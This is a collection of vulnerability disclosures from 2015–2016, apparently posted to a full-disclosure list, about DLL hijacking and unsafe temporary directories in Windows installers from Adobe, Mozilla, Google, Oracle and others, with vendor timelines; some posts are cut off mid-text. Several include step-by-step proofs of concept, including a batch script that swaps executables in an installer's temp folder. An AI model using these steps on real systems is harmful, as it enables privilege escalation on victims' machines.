On Windows 7 and before they also (try to) load PCACli.dll and
API-MS-Win-Downlevel-Shell32-l1-1-0.dll from the PATH:
PCACli.Dll and API-MS-Win-Downlevel-Shell32-l1-1-0.dll are not
present there, these DLLs were first shipped with Windows 8.
On Windows XP and before they additionally try to load DWMAPI.dll,
PropSys.dll, DevRtl.dll and RPCRTRemote.dll from the PATH: these
DLLs were first shipped with Windows Vista.
See <https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html> and
<https://capec.mitre.org/data/definitions/471.html> for details
about this well-known and well-documented beginner's error!
Due to the application manifest embedded in the executables which
specifies "requireAdministrator" the installers are run with
administrative privileges ("protected" administrators are prompted
for consent, unprivileged standard users are prompted for an
administrator password); execution of the DLLs therefore results
in an escalation of privilege!
Proof of concept/demonstration:
~~~
1. visit (and read) <http://home.arcor.de/skanthak/sentinel.html>,
then download <http://home.arcor.de/skanthak/download/SENTINEL.DLL>
and save it as PCACli.dll, API-MS-Win-Downlevel-Shell32-l1-1-0.dll,
DWMAPI.dll, RPCRTRemote.dll, OLEAcc.dll, PSAPI.dll, SetupAPI.dll,
ClbCatQ.dll, WSock32.dll, WS2_32.dll, HNetCfg.dll, DNSAPI.dll,
IPHlpAPI.dll, RASAPI32.dll, SensAPI.dll, RASAdHlp.dll, RASMan.dll
plus UserEnv.dll, COMRes.dll, WS2Help.dll, TAPI32.dll, RTUtils.dll
SAMLib.dll and WinMM.dll in your "Downloads" directory;
2. fetch the (un)installers for Flash Player released before 2016-06-15
from Adobe's web site and save them in your "Downloads" directory;
3. run the (un)installers downloaded in step 2 and notice the message
boxes displayed from the DLLs placed in step 1.
PWNED!
JFTR: since the (un)installers are 32-bit programs and (un)install
both the 32-bit and 64-bit versions of Flash Player this POC
works on 64-bit Windows too.
stay tuned
Stefan Kanthak
Timeline:
~
2016-03-12first vulnerability report sent to Adobe
2016-03-13Adobe acknowledged the receipt
2016-04-06Adobe informed about the upcoming patch to be released
2016-04-07 and the assignment of CVE-2016-1014
2016-04-17second vulnerability report sent to Adobe: the "fixed"
(un)installers are still vulnerable, they just load
some other DLLs now
2016-04-20Adobe confirmed the second report and announced to fix
the vulnerability in the June update
2016-06-15Adobe released fixed (un)installers
2016-06-17report published
[CVE-2014-1520] NOT FIXED: privilege escalation via Mozilla's executable installers
Hi @ll,
<https://bugzilla.mozilla.org/show_bug.cgi?id=961676> should
have fixed CVE-2014-1520 in Mozilla's executable installers for
Windows ... but does NOT!
JFTR: this type of vulnerability (really: a bloody stupid trivial
beginner's error!) is well-known and well-documented as
<https://cwe.mitre.org/data/definitions/379.html>.
Proof of concept/demonstration:
~~~
0. download "Firefox Setup Stub 47.0.exe", "Firefox Setup 47.0.exe",
"Firefox Setup 45.2.0esr.exe" or "Thunderbird Setup 45.1.1.exe"
and save them in an arbitrary directory;
1. download <http://home.arcor.de/skanthak/download/SHFOLDER.DLL>
plus <http://home.arcor.de/skanthak/download/SENTINEL.EXE> and
save them in an(other) arbitrary directory;
2. start your editor, copy and paste the following 10 lines and
save them as "POC.CMD" in the same directory as "SHFOLDER.DLL"
and "SENTINEL.EXE" downloaded in step 1:
:WAIT1
@If Not Exist "%TEMP%\7z*.tmp" Goto :WAIT1
For /D %%! In ("%TEMP%\7z*.tmp") Do Set foobar=%%!
Copy "%~dp0shfolder.dll" "%foobar%\shfolder.dll"
:WAIT2
@If Not Exist "%foobar%\core\maintenanceservice.exe" Goto :WAIT2
Copy "%~dp0sentinel.exe" "%foobar%\core\maintenanceservice.exe"
:WAIT3
@If Not Exist "%foobar%\core\maintenanceservice_installer.exe" Goto :WAIT3
Copy "%~dp0sentinel.exe" "%foobar%\core\maintenanceservice_installer.exe"
3. execute the batch script "POC.CMD" created in step 2;
4. execute "Firefox Setup Stub 47.0.exe", "Firefox Setup 47.0.exe",
"Firefox Setup 45.2.0esr.exe" or "Thunderbird Setup 45.1.1.exe"
downloaded in step 0. and proceed as directed: notice the message
boxed displayed from the copies of "SHFOLDER.DLL" and "SENTINEL.EXE"
placed by the batch script started in step 3 in the unsafe TEMP
subdirectory created by Mozilla's vulnerable executable installers!
PWNED!
Mitigation(s):
~~
0. don't use executable installers. DUMP THEM, NOW!
1. see <http://home.arcor.de/skanthak/!execute.html> as well as
<http://home.arcor.de/skanthak/SAFER.html>.
2. stay away from Mozilla's vulnerable installers for their Windows
software (at least until Mozilla starts to develop a sense for
the safety and security of their users).
stay tuned
Stefan Kanthak
Timeline:
~
2015-10-25<https://bugzilla.mozilla.org/show_bug.cgi?id=1218199>
not even an attempt to fix this vulnerability (check but
<https://blog.mozilla.org/blog/2015/10/23/mozilla-launches-open-source-support-program/>)
2016-04-30<https://bugzilla.mozilla.org/show_bug.cgi?id=1269111>
<https://bugzilla.mozilla.org/show_bug.cgi?id=1269113>
<https://bugzilla.mozilla.org/show_bug.cgi?id=1269122>
<https://bugzilla.mozilla.org/show_bug.cgi?id=1269123>
<https://bugzilla.mozilla.org/show_bug.cgi?id=1269142>
<https://bugzilla.mozilla.org/show_bug.cgi?id=1269144>
not even an attempt to fix this vulnerability (check but
<https://blog.mozilla.org/blog/2016/06/09/help-make-open-source-secure/>)
2016-06-15deadline expired after 45 days, report published
Mozilla doesn't care for upstream security fixes, and doesn't bother to send own security fixes upstream
Hi @ll despite better knowledge and MULTIPLE bug/vulnerability reports (see <https://bugzilla.mozilla.org/show_bug.cgi?id=811557>, <https://bugzilla.mozilla.org/show_bug.cgi?id=809373>, <https://bugzilla.mozilla.org/show_bug.cgi?id=579593>, ...) Mozilla continues to ship Firefox and Thunderbird for Windows with a vulnerable executable installer. Proof of concept/demonstration: ~~~ 1. visit <http://home.arcor.de/skanthak/sentinel.html>, download <http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save it as ShimEng.dll in your "Downloads" folder, then copy it as WinMM.dll, SetupAPI.dll, MSACM32.dll, UXTheme.dll, DWMAPI.dll, ShFolder.dll, RichEd20.dll, ClbCatQ.dll, COMRes.dll, Version.dll, SAMCli.dll, SFC.dll, SFC_OS.dll, UserEnv.dll, ProfAPI.dll, MPR.dll, NTMarta.dll, Secur32.dll and CryptSP.dll 2. download any full-package installer for Firefox or Thunderbird from <https://ftp.mozilla.org/pub/firefox/releases/.../win32/...> or <https://ftp.mozilla.org/pub/thunderbird/releases/.../win32/...> (these are self-extractors built with 7-zip) 3. extract setup.exe from the downloaded self-extractor and save it in your "Downloads" folder, for example using the command line 7za.exe x setup.exe (or start the downloaded self-extractor, find the temporary subdirectory 7z*.tmp it created below %TEMP% and copy setup.exe from this subdirectory to your "Downloads" folder) 4. execute the extracted/copied setup.exe and notice the message boxes displayed from the DLL(s) downloaded in step 1: PWNED! See <https://cwe.mitre.org/data/definitions/426.html>, <https://cwe.mitre.org/data/definitions/427.html> plus <https://capec.mitre.org/data/definitions/471.html> for the well-known and well-documented DLL search path vulnerability. Mitigation: ~~~ Stay away from Mozilla's crapware until Mozilla starts to develop a sense for the basics of software engineering as well as the safety and security of their users^Wvictims: the authors of the 3rd party installer fixed these vulnerabilities about 4 months ago! JFTR: the vulnerable executable installer is not the only outdated 3rd party component used to build Firefox and Thunderbird! Mozilla even uses different versions of this vulnerable executable installer for Firefox and Firefox ESR. See <https://www.firegiant.com/blog/2016/1/20/wix-v3.10.2-released/> why you should NEVER name any executable (installer) setup.exe! stay tuned Stefan Kanthak PS: Mozilla fixed the same vulnerabilities in their executable self- extractor long ago (see for example <https://bugzilla.mozilla.org/show_bug.cgi?id=792106> or <https://bugzilla.mozilla.org/show_bug.cgi?id=883165>), but apparently did not send their fixes to the author of this tool.
Defense in depth -- the Microsoft way (part 39): vulnerabilities, please meet the bar for security servicing
download/WTSAPI32.DLL>, <http://home.arcor.de/skanthak/download/UXTHEME.DLL>, <http://home.arcor.de/skanthak/download/RICHED20.DLL> and save them in your "Downloads" directory; 4. Run ShlExecX.exe or ShlExec.exe; 5. Notice the message boxes displayed from the DLLs downloaded in steps 2 and 3: PWNED! No response from Microsoft's Security Response Center since 10 weeks! No answer to a status request since 10 days. stay tuned Stefan Kanthak [*] executable installers/self-extractor based on SFXCAB.EXE may be identified via their embedded manifest (resource type 24, resource id 1): ~ or ~ setup
Re: Windows Mail Find People DLL side loading vulnerability
"Securify B.V." wrote:
>
> Windows Mail Find People DLL side loading vulnerability
>
> Yorick Koster, September 2015
[...]
> - CVE-2016-0100
> - MS16-025: Security Update for Windows Library Loading to Address
> Remote Code Execution (3140709)
>
>
> Tested versions
>
> This issue was successfully verified on Windows Vista + Office 2010
> 32-bit.
This vulnerability demonstrates Microsoft's terrible SLOPPY coding
horror^Wpractice: it needs two mistakes to create this kind of bug!
"%CommonProgramFiles%\System\wab32res.dll" is (as its name implies)
a resource DLL, which means that it contains no code, but only
(localized) resources, and SHOULD (better: MUST) be loaded via
LoadLibraryEx("%CommonProgramFiles%\System\wab32res.dll", NULL,
LOAD_LIBRARY_AS_DATAFILE)
to avoid the call of its DllMain() startup code!
See
JFTR: LOAD_LIBRARY_AS_DATAFILE was introduced in the last millennium!
Either
LoadLibrary("%CommonProgramFiles%\System\wab32res.dll")
or
LoadLibraryEx("wab32res.dll", NULL, LOAD_LIBRARY_AS_DATAFILE)
were sufficient to avoid this vulnerability.
>
> Fix
>
> Microsoft released MS16-025 that fixes this vulnerability.
Have you checked how Microsoft fixed it?
Did they exercise all due diligence now, practised defense in depth
and replaced the call to
LoadLibrary("wab32res.dll")
with a call to
LoadLibraryEx("%CommonProgramFiles%\System\wab32res.dll", NULL,
LOAD_LIBRARY_AS_DATAFILE)?
>
> Details
>
> https://www.securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html
stay tuned
Stefan
Executable installers are vulnerable^WEVIL (case 30): clamwin-0.99-setup.exe allows arbitrary (remote) code execution WITH escalation of privilege
Hi @ll, the executable installer clamwin-0.99-setup.exe (available from <http://www.clamwin.com/download>) loads and executes DWMAPI.dll or UXTheme.dll from its "application directory". For software downloaded with a web browser the application directory is typically the user's "Downloads" directory: see <https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>, <http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html> and <http://seclists.org/fulldisclosure/2012/Aug/134> for "prior art" about this well-known and well-documented vulnerability. If an attacker places one of the above named DLL in the user's "Downloads" directory (for example per "drive-by download" or "social engineering") this vulnerability becomes a remote code execution. Proof of concept/demonstration: ~~~ 1. visit <http://home.arcor.de/skanthak/sentinel.html>, download <http://home.arcor.de/skanthak/download/SENTINEL.DLL>, save it as UXTheme.dll in your "Downloads" directory, then copy it as DWMAPI.dll; 2. download clamwin-0.99-setup.exe and save it in your "Downloads" directory; 3. execute clamwin-0.99-setup.exe from your "Downloads" directory; 4. notice the message boxes displayed from the DLLs placed in step 1. PWNED! See <http://seclists.org/fulldisclosure/2015/Nov/101>, <http://seclists.org/fulldisclosure/2015/Dec/86> and <http://seclists.org/fulldisclosure/2015/Dec/32> plus <http://home.arcor.de/skanthak/!execute.html> and <http://home.arcor.de/skanthak/sentinel.html> for details about this well-known and well-documented BEGINNER'S error! stay tuned Stefan Kanthak PS: I really LOVE (security) software with such trivial beginner's errors. It's a tell-tale sign to stay away from this snakeoil! Timeline: ~ 2016-03-06sent vulnerability report to authors <secur...@clamwin.com>: host aspmx.l.google.com[64.233.184.26] said: 550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/answer/6596 y186si9894139wmy.43 - gsmtp (in reply to RCPT TO command) <clam...@sf.net>: host mx.sourceforge.net[216.34.181.68] said: 550 unknown user (in reply to RCPT TO command) 2016-03-06report published
Executable installers are vulnerable^WEVIL (case 31): MalwareBytes' installers allows arbitrary (remote) code execution WITH escalation of privilege
Hi @ll,
Malwarebytes executable installers mbam-setup-2.2.0.1024.exe
and mbae-setup-1.08.1.1189.exe (available from
<https://downloads.malwarebytes.org/file/mbam_current/> and
<https://downloads.malwarebytes.org/file/mbae_current/>) load
and execute UXTheme.dll and DWMAPI.dll from their "application
directory".
For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134>
If an attacker places UXTheme.dll and/or DWMAPI.dll in the user's
"Downloads" directory, for example per "drive-by download" or
"social engineering", this vulnerability becomes a remote code
execution.
Due to the application manifest embedded in the executables which
specifies "requireAdministrator" the executable installers are run
with administrative privileges ("protected" administrators are
prompted for consent, unprivileged standard users are prompted for
an administrator password); execution of the DLLs therefore results
in an escalation of privilege!
Proof of concept/demonstration:
~~~
1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL>, save it
as UXTheme.dll in your "Downloads" directory, then copy it as
DWMAPI.dll;
2. download mbam-setup-2.2.0.1024.exe and mbae-setup-1.08.1.1189.exe
and save them in your "Downloads" directory;
3. execute mbam-setup-2.2.0.1024.exe and mbae-setup-1.08.1.1189.exe
from your "Downloads" directory;
4. notice the message boxes displayed from the DLLs placed in step 1.
PWNED!
See <http://seclists.org/fulldisclosure/2015/Nov/101>,
<http://seclists.org/fulldisclosure/2015/Dec/86> and
http://seclists.org/fulldisclosure/2015/Dec/33 plus
<http://home.arcor.de/skanthak/!execute.html> and
<http://home.arcor.de/skanthak/sentinel.html> for details about
this well-known and well-documented BEGINNER'S error!
regards
Stefan Kanthak
PS: I really LOVE (security) software with such trivial beginner's
errors. It's a tell-tale sign to stay away from this snakeoil!
Timeline:
~
2015-12-25sent report regarding MBAM to vendor
2015-12-25automatic reply from vendor:
"We have received your request and an agent will respond
to your ticket in the order in which it was received."
2016-01-03reply from vendor:
"We'll take this into consideration for a near-future
installer revamp."
2016-02-02requested status update
NO REPLY, not even an acknowledgement of receipt
2016-02-02sent notice to Marcin Kleczynski after his public
announcement of a bug bounty program
2016-02-02reply from Marcin Kleczynski:
"I'm copying Pedro Bustamante who organizes our bug
bounty program to take a look."
NO reply from Pedro Bustamante et.al.
2016-02-12sent report regarding MBAE to vendor
NO REPLY, not even an acknowledgement of receipt
2016-02-22resent report regarding MBAE to vendor
NO REPLY, not even an acknowledgement of receipt
2016-03-06report published in accordance with my disclosure
policy <http://home.arcor.de/skanthak/policy.html>
Executable installers are vulnerable^WEVIL (case 29): putty-0.66-installer.exe allowa arbitrary (remote) code execution WITH escalation of privilege
Hi, putty-0.66-installer.exe loads and executes DWMAPI.dll or UXTheme.dll from its "application directory". For software downloaded with a web browser the application directory is typically the user's "Downloads" directory: see <https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>, <http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html> and <http://seclists.org/fulldisclosure/2012/Aug/134> for "prior art" about this well-known and well-documented vulnerability. If an attacker places one of the above named DLL in the user's "Downloads" directory (for example per "drive-by download" or "social engineering") this vulnerability becomes a remote code execution. Proof of concept/demonstration: ~~~ 1. visit <http://home.arcor.de/skanthak/sentinel.html>, download <http://home.arcor.de/skanthak/download/SENTINEL.DLL>, save it as UXTheme.dll in your "Downloads" directory, then copy it as DWMAPI.dll; 2. download putty-0.66-installer.exe and save it in your "Downloads" directory; 3. execute putty-0.66-installer.exe from your "Downloads" directory; 4. notice the message boxes displayed from the DLLs placed in step 1. PWNED! See <http://seclists.org/fulldisclosure/2015/Nov/101>, <http://seclists.org/fulldisclosure/2015/Dec/86> and <http://seclists.org/fulldisclosure/2015/Dec/32> plus <http://home.arcor.de/skanthak/!execute.html> and <http://home.arcor.de/skanthak/sentinel.html> for details about this well-known and well-documented BEGINNER'S error! stay tuned Stefan Kanthak Timeline: ~ 2015-12-24sent vulnerability report to author NO REPLY, not even an acknowledgement of receipt 2016-01-02resent vulnerability report to author NO REPLY, not even an acknowledgement of receipt 2016-03-01report published
Executable installers are vulnerable^WEVIL (case 27): Cygwin's installers allow arbitrary (remote) code execution WITH escalation of privilege
Hi @ll, Cygwin's setup-x86.exe loads and executes UXTheme.dll (on Windows XP also ClbCatQ.dll) and some more DLLs from its "application directory". For software downloaded with a web browser the application directory is typically the user's "Downloads" directory: see <https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>, <http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html> and <http://seclists.org/fulldisclosure/2012/Aug/134> If UXTheme.dll (or one of the other DLLs) gets planted in the user's "Downloads" directory per "drive-by download" or "social engineering" this vulnerability becomes a remote code execution. If setup-x86.exe is NOT started with --no-admin the vulnerability results in an escalation of privilege too! Proof of concept/demonstration: ~~~ 1. visit <http://home.arcor.de/skanthak/sentinel.html>, download <http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save it as UXTheme.dll in your "Downloads" directory, then copy it as DWMAPI.dll; 2. on Windows XP, copy the downloaded UXTheme.dll as ClbCatQ.dll; 3. download setup-x86.exe and save it in your "Downloads" directory; 4. execute setup-x86.exe from your "Downloads" directory; 5. notice the message boxes displayed from the DLLs placed in step 1 (and ClbCatQ.dll placed in step 2). PWNED! 6. copy the downloaded UXTheme.dll as WSock32.dll (on Windows XP also as PSAPI.dll and WS2_32.dll); 7. rerun setup-x86.exe from your "Downloads" directory. DOSSED! 8. turning the denial of service into an arbitrary (remote) code execution is trivial: just add the SINGLE entry (PSAPI.dll: EnumProcesses, WSock32.Dll: recv, WS2_32.dll: Ordinal 21) referenced from setup-x86.exe to a rogue DLL of your choice. PWNED again! See <http://seclists.org/fulldisclosure/2015/Nov/101>, <http://seclists.org/fulldisclosure/2015/Dec/86> and <http://seclists.org/fulldisclosure/2015/Dec/121> plus <http://home.arcor.de/skanthak/!execute.html> and <http://home.arcor.de/skanthak/sentinel.html> for details about this well-known and well-documented BEGINNER'S error! stay tuned Stefan Kanthak Timeline: ~ 2015-12-28report sent to <secur...@cygwin.com>, <secur...@cygwin.org> and <secur...@sourceware.org> BOUNCED 2015-12-28report sent to <secur...@redhat.com> No answer, not even an acknowledgement of receipt 2016-01-06report resent to <cyg...@cygwin.com> and <secur...@redhat.com> 2016-01-07clueless reply from reader of <cyg...@cygwin.com>: "- cygwin mailing list is public, you violate your own policy; - Windows XP is unsupported" 2016-01-07sent reply to <cyg...@cygwin.com>: - see <https://cygwin.com/lists.html> | cygwin: In general, you should send questions and | bug reports here. - see RFC 2142: <secur...@cygwin.com>, <secur...@cygwin.org> and <secur...@sourceware.org> all bounce, then read my policy again. - Windows Embedded POSReady 2009 is Windows XP SP3 in disguise and supported until 2019. - which part of "UXTheme.dll is loaded (on every version of Windows)" is not understood? <cyg...@cygwin.com>: In an effort to cut down on our spam intake, we block email that is detected as spam by the SpamAssassin program. Your email was flagged as spam by that program. See: http://spamassassin.apache.org/ for more details. [...] Contact cygwin-ow...@cygwin.com if you have questions about this. (#5.7.2) 2016-01-07sent questions to <cygwin-ow...@cygwin.com> <cygwin-ow...@cygwin.com>: host sourceware.org[209.132.180.131] said: 552 spam score exceeded threshold (in reply to end of DATA command) 2016-02-26report published Cygwin is obviously neither interested in communication nor willing to fix their vulnerable installer!
Executable installers are vulnerable^WEVIL (case 28): Google's Chrome cleanup tool allows arbitrary (remote) code execution WITH escalation of privilege
Hi @ll, Google's software_removal_tool.exe alias Chrome Cleanup Tool loads and executes several DLLs from its "application directory" during runtime: * Windows XP: SetupAPI.dll, NTMarta.dll, ClbCatQ.dll, SRClient.dll, UXTheme.dll, RASAPI32.dll, HNetCfg.dll, IPHlpAPI.dll, RASAdHlp.dll, XPSP2Res.dll, RichEd20.dll, SENSAPI.dll * Windows 7: NTMarta.dll, SRClient.dll, DWMAPI.dll, UXTheme.dll, IPHlpAPI.dll, DNSAPI.dll Additionally the following DLLs are loaded from its "application directory" during load-time: WS2_32.dll, WS2HELP.dll, PSAPI.DLL, WINMM.dll, WINHTTP.dll, ProfAPI.dll, Secur32.dll, Version.dll For software downloaded with a web browser the application directory is typically the user's "Downloads" directory: see <https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>, <http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html> and <http://seclists.org/fulldisclosure/2012/Aug/134> for "prior art" about this well-known and well-documented vulnerability. If an attacker places the DLLs named above in the users "Downloads" directory (for example per drive-by download or social engineering) this vulnerability becomes a remote code execution. See <http://seclists.org/fulldisclosure/2015/Nov/101> and <http://seclists.org/fulldisclosure/2015/Dec/86> plus <http://seclists.org/fulldisclosure/2015/Dec/121> Proof of concept (verified on Windows XP and Windows 7 using version 2.46 and 6.44.3.0 of software_removal_tool.exe): 1. visit <http://home.arcor.de/skanthak/sentinel.html>, download <http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save it as UXTheme.dll in your "Downloads" directory, then copy it as RichEd20.dll, ClbCatQ.dll, SetupAPI.dll, DWMAPI.dll etc.; 2. download software_removal_tool.exe and save it in your "Downloads" directory; 3. run software_removal_tool.exe from the "Downloads" directory; 4. notice the message boxes displayed from the DLLs placed in step 1. PWNED! 5. create empty files WS2_32.dll, WS2HELP.dll, PSAPI.DLL, WINMM.dll, WINHTTP.dll, ProfAPI.dll, Secur32.dll, Version.dll in your "Downloads" directory; 6. run software_removal_tool.exe from the "Downloads" directory. DOSSED! This denial of service can easily turned into arbitrary code execution too: just create a DLL with all the entries referenced from software_removal_tool.exe. For this well-known (trivial, easy to avoid, easy to detect and easy to fix) beginner's error see <https://capec.mitre.org/data/definitions/471.html>, <https://technet.microsoft.com/en-us/library/2269637.aspx>, <https://msdn.microsoft.com/en-us/library/ff919712.aspx> and <https://msdn.microsoft.com/en-us/library/ms682586.aspx> plus <http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>: | To ensure secure loading of libraries | * Use proper DLL search order. | * Always specify the fully qualified path when the library location ~~ | is constant. Additionally software_removal_tool.exe uses an UNSAFE temporary directory %TEMP%\scoped_dir_\ to extract and run %TEMP%\scoped_dir_\ChromeRecovery.exe For this well-known (trivial, easy to avoid, easy to detect and easy to fix) beginner's error see <https://cwe.mitre.org/data/definitions/377.html> and <https://cwe.mitre.org/data/definitions/379.html> plus <https://cwe.mitre.org/data/definitions/426.html> and <https://cwe.mitre.org/data/definitions/427.html> stay tuned Stefan Kanthak Timeline: ~ 2016-01-28sent vulnerability report to <secur...@google.com> NO reply 2016-02-05resent vulnerability report to <secur...@google.com> 2016-02-10reply from Google security team: "Chrome is not in scope for the Google VRP program, and has a separate bug reporting process." 2016-02-10resent vulnerability report to <secur...@chromium.org> NO reply, not even an acknowledgement of receipt 2016-02-24resent vulnerability report to <secur...@chromium.org> and <secur...@google.com> 2016-02-24reply from Google security team: "This is working as intended." Google want's to have your Windows pwned! 2016-02-24completely clueless reply from Chromium telling that they didn't read <http://seclists.org/fulldisclosure/2015/Nov/101> and <http://seclists.org/fulldisclosure/2015/Dec/86> plus <http://seclists.org/fulldisclosure/2015/Dec/121>: "I'm also unsure what defenses you intended to propose here, because the loader definitely pulls in many (all?) of those imports prior to any application code running -- s
Executable installers are vulnerable^WEVIL (case 4): InstallShield's wrapper and setup.exe
quot;%USERPROFILE%" as well as "%ALLUSERSPROFILE%" alias %ProgramData%" and "%PUBLIC%": Windows doesn't place executables in these directories and beyond. See <http://home.arcor.de/skanthak/safer.html> as well as <http://mechbgon.com/srp/> plus <http://csrc.nist.gov/itsec/SP800-68r1.pdf>, <https://www.nsa.gov/ia/_files/os/win2k/application_whitelisting_using_srp.pdf> or <https://books.google.de/books?isbn=1437914926> and finally <http://www.asd.gov.au/infosec/top35mitigationstrategies.htm>! stay tuned Stefan Kanthak PS: see <http://seclists.org/fulldisclosure/2015/Nov/101> (resp. the not yet finished <http://home.arcor.de/skanthak/!execute.html>) for more details! PPS: the case numbers are not in chronological order. [°] Self-extracting archives and executable installers are flawed^W b(rainde)ad in concept and dangerous in practice. DON'T USE SUCH CRUFT! ALWAYS use the resp. target platforms native package and archive format. For Windows these are .INF (plus .CAB) and .MSI (plus .CAB), introduced 20 years ago (with Windows 95 and Windows NT4) resp. 16 years ago (with Office 2000). Both .INF and .MSI are "opened" by programs residing in %SystemRoot%\System32\ which are therefore immune to this kind of "DLL and EXE Search Order Hijacking" attack. Since both .INF and .MSI access the contents of .CAB directly they eliminate the attack vector "unsafe temporary directory" too. ['] A well-known (trivial, easy to exploit and easy to avoid)´and well-documented vulnerability: see <https://capec.mitre.org/data/definitions/471.html>, <https://technet.microsoft.com/en-us/library/2269637.aspx>, <https://msdn.microsoft.com/en-us/library/ff919712.aspx> and <https://msdn.microsoft.com/en-us/library/ms682586.aspx> [²] Another well-known (trivial, easy to exploit and easy to avoid) and well-documented vulnerability: see <https://cwe.mitre.org/data/definitions/377.html>, <https://cwe.mitre.org/data/definitions/379.html>, <https://capec.mitre.org/data/definitions/27.html>, <https://capec.mitre.org/data/definitions/29.html> ...
Re: Executable installers are vulnerable^WEVIL (case 26): the installer of GIMP for Windows allows arbitrary (remote) and escalation of privilege
"Jernej Simončič" <jernej|s...@eternallybored.org> wrote: > On 23. februar 2016, 17:37:54, Stefan Kanthak wrote: > >> Proof of concept/demonstration: >> ~~~ >[snip] >> PWNED! > > Can't reproduce - tested on Windows XP SP3, Windows 7 x64 SP1 and > Windows 10 x64 (10586.104), and I tested not only with > gimp-2.8.16-setup-1.exe, but also with gimp-2.8.14-setup-1.exe and > gimp-2.8.10-setup.exe - none of them triggered anything from > sentinel.dll/uxtheme.dll. UXTheme.dll is loaded when "visual styles" and/or "themes" are DISABLED (which is the case in my test systems), either via GUI, via [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager] "ThemeActive"="0" or via stopping/disabling the "themes" service: NET.EXE Stop Themes SC.EXE Config Themes Start= Disabled With "visual styles" and/or "themes" ENABLED DWMAPI.dll is loaded instead of UXTheme.dll. Additionally WindowsCodecs.dll is loaded if the caller is a protected administrator, independent of the "visual styles" or "themes" settings. So "step 1" of the PoC needs to be modified as follows (the addition is underlined) to cover these situations/preconditions: 1. visit <http://home.arcor.de/skanthak/sentinel.html>, download <http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save it as UXTheme.dll in your "Downloads" directory, then copy it as DWMAPI.dll and WindowsCodecs.dll there; ~~ ~ > This is what I expected - the way Inno Setup works, the downloaded > executable installer has a stub which extracts the real installer to a > subdirectory of %TEMP%, and runs it from there; the stub's UI is > limited to a simple MessageBox call in case the extraction fails - it > does not link to uxtheme.dll at all. This is plain wrong: InnoSetup extracts a stub (with the filename of the executable, but the extension changed to .tmp) to an UNSAFE subdirectory of %TEMP% and executes it from there. gimp-2.8.16-setup-1.tmp is just 1.189.488 bytes small. After the successful start of the extracted stub the downloaded .EXE displays a dialog asking for the UI language. DWMAPI.dll or UXTheme.dll is loaded by the downloaded .EXE before this dialog is displayed. Only if the extraction of this stub or its start fails then none of these DLLs is loaded. stay tuned Stefan Kanthak PS: you can blame InnoSetup (or Windows) for this behavior of your executable installer. This but doesn't fix this vulnerability, and it keeps all your users at risk. You need to have both the DLL hijacking AND the unsafe temporary subdirectory fixed. Your best way for this is: dump InnoSetup, create a .MSI instead!
[CVE-2016-0602, CVE-2016-0603] Executable installers are vulnerable^WEVIL (case 24): Oracle Java 6/7/8 SE and VirtualBox
Hi @ll, the installers or Oracle's Java 6/7/8 for Windows and VirtualBox for Windows load and execute several DLLs from their "application directory". * The online installer jxpiinstall.exe: UXTheme.dll and RASAdHlp.dll plus (on Windows XP) SetupAPI.dll, HNetCfg.dll and XPSP2Res.dll (on Windows Vista and above) ProfAPI.dll, Secur32.dll, NTMarta.dll and Version.dll * The offline installer jre-8u66-windows-i586.exe: UXTheme.dll, RASAdHlp.dll, NTMarta.dll, Secur32.dll, WinHTTP.dll, NetUtils.dll, ProfAPI.dll and WindowsCodecs.dll * VirtualBox-5.0.12-104815-Win.exe: UXTheme.dll, MSIHnd.dll and MSI.dll plus (on Windows XP) SFC_OS.dll, ClbCatQ.dll, XPSP2Res.dll, WS2_32.dll and WS2Help.dll (on Windows 7) PropSys.dll, ProfAPI.dll and DWMAPI.dll For software downloaded with a web browser the application directory is typically the user's "Downloads" directory: see <https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>, <http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html> and <http://seclists.org/fulldisclosure/2012/Aug/134> for "prior art" about this well-known and well-documented vulnerability. Oracle published an advisory and new installers for Java SE today: <http://www.oracle.com/technetwork/topics/security/alert-cve-2016-0603-2874360.html> Oracle published updated versions of VirtualBox on 2019-01-19: <http://www.oracle.com/technetwork/topics/security/cpujan2016-2367955.html> stay tuned Stefan Kanthak
Executable installers are vulnerable^WEVIL (case 23): WinImage's installer and self-extractors allow arbitrary (remote) code execution and escalation of privilege
Hi @ll,
the executable installer winima90.exe and previous versions
available from <http://www.winimage.com> loads and executes
CRTdll.dll, UXTheme.dll, RichEd32.dll and WindowsCodecs.dll
from its "application directory".
Self-extracting executables created with WinImage load and
execute CRTdll.dll, UXTheme.dll and MPR.dll from their
"application directory".
For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for
"prior art" about this well-known and well-documented vulnerability.
If an attacker places the DLLs named above in the users
"Downloads" directory (for example per drive-by download or
social engineering) this vulnerability becomes a remote code
execution.
Due to the application manifest embedded in the executable
